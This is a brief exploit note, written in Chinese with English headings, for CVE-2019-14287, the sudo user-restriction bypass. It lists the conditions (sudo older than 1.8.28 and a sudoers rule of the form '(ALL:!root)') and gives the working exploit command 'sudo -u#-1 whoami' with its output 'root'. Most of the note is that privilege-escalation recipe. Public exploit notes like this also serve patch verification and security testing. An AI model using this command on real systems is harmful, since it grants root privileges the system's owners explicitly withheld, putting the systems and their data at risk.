CVE-2019-14287 Sudo權限繞過漏洞

Info

CVE-2019-14287 sudo Vulnerability Allows Bypass of User Restrictions

利用要求

sudo版本低於v1.8.28

/etc/sudoers 配置要求如下(要求一組特定權限,不一定完全是下面的樣子)

示例

<user> ALL=(ALL:!root) NOPASSWD: ALL

EXP

sudo -u#-1 whoami
root